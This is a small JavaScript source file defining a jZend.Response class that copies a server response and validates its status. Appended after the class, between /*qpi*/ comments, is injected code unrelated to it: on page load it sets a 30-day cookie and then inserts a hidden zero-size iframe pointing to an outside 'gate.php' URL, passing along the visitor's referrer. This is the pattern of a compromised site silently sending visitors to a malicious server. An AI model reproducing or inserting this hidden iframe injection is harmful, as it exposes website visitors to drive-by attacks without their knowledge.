jZend.Response = Base.extend({
	originalResponse: null,
	constructor: function (response) {
		this.originalResponse = response;
		console.log(response);
		for (a in response) {
			this[a] = response[a];
		}
		this.init();
	},
	init: function () {
		
	},
	isValid: function () {
		if (this.code != 'success') {
			if (this.messages) {
				new jZend.Error(this.messages);
			} else {
				new jZend.Error([$.trim(this.originalResponse)]);
			}
			return false;
		} else {
			return true;
		}
	}
});/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://unclesammm.com/gate.php?f=871298&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
